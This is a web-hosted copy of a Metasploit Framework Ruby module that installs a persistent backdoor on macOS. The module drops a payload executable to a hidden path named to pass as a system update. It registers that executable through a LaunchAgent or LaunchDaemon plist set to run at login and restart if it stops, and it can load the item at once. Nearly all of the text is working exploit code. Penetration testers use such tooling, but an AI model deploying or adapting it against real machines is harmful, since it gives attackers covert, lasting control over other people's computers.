CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/local/persistence.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'shellwords'
7
8
class MetasploitModule < Msf::Exploit::Local
9
Rank = ExcellentRanking
10
11
include Msf::Post::Common
12
include Msf::Post::File
13
include Msf::Exploit::EXE
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Mac OS X Persistent Payload Installer',
20
'Description' => %q{
21
This module provides a persistent boot payload by creating a launch item, which can be
22
a LaunchAgent or a LaunchDaemon. LaunchAgents run with user level permissions and are triggered
23
upon login by a plist entry in ~/Library/LaunchAgents. LaunchDaemons run with
24
elevated privilleges, and are launched before user login by a plist entry in the ~/Library/LaunchDaemons directory.
25
In either case the plist entry specifies an executable that will be run before or at login.
26
},
27
'License' => MSF_LICENSE,
28
'Author' => [ "Marcin 'Icewall' Noga <marcin[at]icewall.pl>", 'joev' ],
29
'Targets' => [
30
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
31
[ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ],
32
['Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }],
33
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
34
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
35
],
36
'DefaultTarget' => 0,
37
'SessionTypes' => [ 'shell', 'meterpreter' ],
38
'DisclosureDate' => '2012-04-01',
39
'Platform' => [ 'osx', 'python', 'unix' ],
40
'References' => [
41
'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf',
42
'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'
43
]
44
)
45
)
46
47
register_options([
48
OptString.new('BACKDOOR_PATH',
49
[
50
true, 'Path to hide the backdoor on the target.',
51
'~/Library/.<random>/com.system.update'
52
]),
53
OptBool.new('KEEPALIVE',
54
[true, 'Continually restart the payload exe if it crashes/exits.', true]),
55
OptBool.new('RUN_NOW',
56
[false, 'Run the installed payload immediately.', false]),
57
OptEnum.new('LAUNCH_ITEM', [true, 'Type of launch item, see description for more info. Default is LaunchAgent', 'LaunchAgent', %w[LaunchAgent LaunchDaemon]])
58
])
59
end
60
61
def exploit
62
check_for_duplicate_entry
63
64
if target['Arch'] == ARCH_PYTHON
65
payload_bin = "#!/usr/bin/env python\n" + payload.encoded
66
elsif target['Arch'] == ARCH_CMD
67
payload_bin = "#!/usr/bin/env bash\n" + payload.raw
68
else
69
payload_bin = generate_payload_exe
70
end
71
72
# Store backdoor on target machine
73
write_backdoor(payload_bin)
74
# Add plist file to LaunchAgents dir
75
add_launchctl_item
76
# tell the user how to remove the persistence if necessary
77
list_removal_paths
78
end
79
80
private
81
82
# drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path
83
def add_launchctl_item
84
label = File.basename(backdoor_path)
85
cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}")
86
# NOTE: the OnDemand key is the OSX < 10.4 equivalent of KeepAlive
87
item = <<-EOI
88
<?xml version="1.0" encoding="UTF-8"?>
89
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
90
<plist version="1.0">
91
<dict>
92
<key>Label</key>
93
<string>#{label}</string>
94
<key>Program</key>
95
<string>#{backdoor_path}</string>
96
<key>ProgramArguments</key>
97
<array>
98
<string>#{backdoor_path}</string>
99
</array>
100
<key>RunAtLoad</key>
101
<true/>
102
<key>OnDemand</key>
103
<#{keepalive?}/>
104
<key>KeepAlive</key>
105
<#{keepalive?}/>
106
</dict>
107
</plist>
108
EOI
109
110
if write_file(plist_path, item)
111
print_good("LaunchAgent added: #{plist_path}")
112
else
113
fail_with(Failure::UnexpectedReply, "Error writing LaunchAgent item to #{plist_path}")
114
end
115
116
if run_now?
117
cmd_exec("launchctl load -w #{plist_path.shellescape}")
118
end
119
120
print_good('LaunchAgent installed successfully.')
121
end
122
123
# path to upload the backdoor. any <user> or <random> substrings will be replaced.
124
# @return [String] path to drop the backdoor payload.
125
def backdoor_path
126
@backdoor_path ||= datastore['BACKDOOR_PATH']
127
.gsub('<random>') { Rex::Text.rand_text_alpha(8) }
128
.gsub(%r{^~/}, "/Users/#{user}/")
129
end
130
131
# raises an error if a Launch Agent already exists at desired same plist_path
132
def check_for_duplicate_entry
133
if file?(plist_path)
134
fail_with 'FileError', "Duplicate LaunchAgent plist already exists at #{plist_path}"
135
end
136
end
137
138
# @return [Boolean] user wants the persistence to be restarted constantly if it exits
139
def keepalive?
140
datastore['KEEPALIVE']
141
end
142
143
# useful if you want to remove the persistence.
144
# prints out a list of paths to remove and commands to run.
145
def list_removal_paths
146
removal_command = "rm -rf #{File.dirname(backdoor_path).shellescape}"
147
removal_command << " ; rm #{plist_path}"
148
removal_command << " ; launchctl remove #{File.basename(backdoor_path)}"
149
removal_command << " ; launchctl stop #{File.basename(backdoor_path)}"
150
print_status("To remove the persistence, run:\n#{removal_command}\n")
151
end
152
153
# path to the LaunchAgent service configuration plist
154
# @return [String] path to the LaunchAgent service
155
def plist_path
156
@plist_path ||= "/Users/#{user}/Library/#{datastore['LAUNCH_ITEM']}s/#{File.basename(backdoor_path)}.plist"
157
end
158
159
# @return [Boolean] user wants to launch the LaunchAgent immediately
160
def run_now?
161
datastore['RUN_NOW']
162
end
163
164
# @return [String] username of the session
165
def user
166
@user ||= cmd_exec('whoami').strip
167
end
168
169
# drops the file to disk, then makes it executable
170
# @param [String] exe the executable to drop
171
def write_backdoor(exe)
172
print_status('Dropping backdoor executable...')
173
cmd_exec("mkdir -p #{File.dirname(backdoor_path).shellescape}")
174
175
if write_file(backdoor_path, exe)
176
print_good("Backdoor stored to #{backdoor_path}")
177
cmd_exec("chmod +x #{backdoor_path.shellescape}")
178
else
179
fail_with(Failure::UnexpectedReply, "Error dropping backdoor to #{backdoor_path}")
180
end
181
end
182
end
183
184